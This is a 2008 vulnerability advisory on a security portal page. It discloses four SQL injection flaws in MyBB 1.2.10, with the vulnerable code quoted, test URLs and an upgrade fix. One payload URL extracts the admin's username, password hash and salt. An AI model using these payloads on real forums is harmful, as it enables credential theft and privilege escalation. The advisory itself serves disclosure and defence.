Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
October 1, 2014
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: warerus
New Today: 0
New Yesterday: 0
Overall: 8956

People Online:
Visitors: 147
Members: 0
Total: 147
milw0rm
·[web applications] - Dolphin 7.1.4 SQL Injection Vulnerability
·[web applications] - web2Project 3.1 SQL Injection Vulnerability
·[remote exploits] - Ericom AccessNow Server Buffer Overflow Exploit
·[dos / poc] - Ubisoft Rayman Legends 1.2.103716 - Remote Stack Buffer Overflow Vulnerability
·[local exploits] - docker 0.11 VMM-container Breakout
·[remote exploits] - Ubisoft Rayman Legends 1.2.103716 - Remote Stack Buffer Overflow Vulnerability
·[remote exploits] - Rocket Servergraph Admin Center fileRequestor Remote Code Execution
·[web applications] - Motorola SBG901 Wireless Modem - CSRF Vulnerability
·[web applications] - ZTE WXV10 W300- Multiple Vulnerabilities
·[remote exploits] - Java Debug Wire Protocol Remote Code Execution Exploit

read more...
PacketStorm News
·Ubuntu Security Notice USN-2249-1
·Red Hat Security Advisory 2014-0764-01
·Ubuntu Security Notice USN-2248-1
·CDVI ACAC22 Authentication / Denial Of Service
·Red Hat Security Advisory 2014-0763-01
·Red Hat Security Advisory 2014-0762-01
·PayPal SecurityKey Card Serialnumber Module Code Injection
·SugarCRM 6.5.16 XXE Injection
·Debian Security Advisory 2963-1
·Debian Security Advisory 2962-1

read more...
[waraxe-2008-SA#062] - Multiple Sql Injections in MyBB 1.2.10





Author: Janek Vind "waraxe"
Date: 16. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-62.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. SQL Injection in "moderation.php" action "do_mergeposts"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation, including "canmanagethreads".

From source code of "moderation.php" line ~438:

-------------------------------------------------------------------------------
// Lets merge those selected posts!
case "do_mergeposts":
if(is_moderator($fid, "canmanagethreads") != "yes")
{
error_no_permission();
}
$plugins->run_hooks("moderation_do_mergeposts");
$mergepost = $mybb->input['mergepost'];
if(count($mergepost) <= 1)
{
error($lang->error_nomergeposts);
}

foreach($mergepost as $pid => $yes)
{
$plist[] = $pid;
}

$moderation->merge_posts($plist, $tid, $mybb->input['sep']);
-------------------------------------------------------------------------------

As seen above, unsanitized array variable 'mergepost' from GPC is delivered to
function "merge_posts()" as first argument - "$plist".

Source code of "merge_posts":
-------------------------------------------------------------------------------
function merge_posts($pids, $tid, $sep="new_line")
{
global $db, $plugins;

$pidin = implode(",", $pids);
$first = 1;
// Get the messages to be merged
$query = $db->query("
SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts
FROM ".TABLE_PREFIX."posts p
LEFT JOIN ".TABLE_PREFIX."forums f ON (f.fid=p.fid)
WHERE p.tid='$tid' AND p.pid IN($pidin)
ORDER BY dateline ASC
");
-------------------------------------------------------------------------------

It is obvious, that "$pids" argument will be used in sql query without any
sanitization. So sql injection security hole seems to exist here.

Let's try this proof of concept test:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts
&mergepost[war]=1&mergepost[axe]=2

... and we can see sql error message:

MySQL error: 1054
Unknown column 'war' in 'where clause'
Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts
FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid)
WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC

Yes, indeed, sql injection exists and as bonus, we can determine from error
message additional piece of information, useful for sql injections -
table prefix. It can be different from "mybb_" and without knowing it we will
have trouble trying to fetch data from MyBB tables.

This was Proof-Of-Concept test, how about real attack example?
Here it is:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts
&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,
(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)
+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2

As result we can see sql error message:

MySQL error: 1064
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ... line 1
Query: UPDATE mybb_users SET postnum=postnum-1
WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^''

Yeah - admin's username, password hash and salt, all in one line!

Now - mitigating factors. First of all, attacker must have moderator privileges,
including "canmanagethreads". So this sql injection security hole can be
used for privileges escalation from moderator to admin, if admin's password
is weak enough to be cracked with reasonable processing power and time.

Error feedback - if attacker can't see sql error messages, then this will not
stop the attack, it will be just harder to exploit and involves blind sql
injection attack methods.


2. SQL Injection in "moderation.php" action "allreports"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation.

Let's try:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'
+UNION+SELECT+waraxe--+

And we see error message:

MySQL error: 1054
Unknown column 'waraxe' in 'field list'
Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE
rid <= '0' UNION SELECT waraxe-- '

Problematic code:

case "allreports":
if(is_moderator() != "yes")
{
error_no_permission();
}
...
if($mybb->input['rid'])
{
$query = $db->simple_select(TABLE_PREFIX."reportedposts",
"COUNT(rid) AS count", "rid <= '".$mybb->input['rid']."'");

This sql injection can ultimately lead to privilege escalation from
moderator level to admin level - as in previous case.


3. SQL Injection in "moderation.php" action "do_multimovethreads"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation, including "canmanagethreads".

Let's issue this request:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads
&moveto=2&threads=war|axe

Error message:

MySQL error: 1054
Unknown column 'war' in 'where clause'
Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads
WHERE tid IN (war,axe)

Flawed piece of code:

case "do_multimovethreads":
if(is_moderator($fid, "canmanagethreads") != "yes")
{
error_no_permission();
}
$moveto = intval($mybb->input['moveto']);
$threadlist = explode("|", $mybb->input['threads']);
foreach($threadlist as $tid)
{
$tids[] = $tid;
}
...
$moderation->move_threads($tids, $moveto);

Similary to previous two cases, this sql injection can lead to privilege
escalation from moderator level to admin level within MyBB context.


4. SQL Injection in "admin/usergroups.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have admin privileges in MyBB context, therefore
risk level is low. Still, any non-superadmin can fetch any data from database,
including password hashes for other admins.

http://localhost/mybb.1.2.10/admin/usergroups.php?
adminsid=f962d4e991671f3f930d7117a745147f
&action=do_joinrequests
&request[waraxe]=decline

Error:

MySQL error: 1054
Unknown column 'waraxe' in 'where clause'
Query: DELETE FROM mybb_joinrequests WHERE uid IN(waraxe) AND gid=''

http://localhost/mybb.1.2.10/admin/usergroups.php?
adminsid=f962d4e991671f3f930d7117a745147f
&action=do_joinrequests
&request[-1]=decline
&gid='waraxe

Error:

MySQL error: 1064
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near 'waraxe'' at line 1
Query: DELETE FROM mybb_joinrequests WHERE uid IN(-1) AND gid=''waraxe'

Reason - incoming variables "request" and "gid" are not properly sanitized
before using in sql queries.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download MyBB new version 1.2.11 as soon as possible!

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------










Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2008-01-16 (9009 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Microsoft Internet Explorer CVE-2014-0282 Remote Memory Corruption Vulnerability
·Vuln: libpng 'png_read_transform_info( )' Function NULL Pointer Dereference Denial of Service Vulnerability
·Vuln: Oracle Java SE CVE-2014-0411 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2014-0416 Remote Security Vulnerability
·Bugtraq: Secunia CSI/VIM - Filter Bypass & Persistent Validation Vulnerabilities
·Bugtraq: Paypal Inc Bug Bounty #36 - SecurityKey Card Serialnumber Module Vulnerability
·Bugtraq: Multiple SQL Injection Vulnerabilities in web2Project
·Bugtraq: SQL Injection in Dolphin
·More rss feeds from SecurityFocus

read more...
alexa



Nvidia GeForce Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.092 Seconds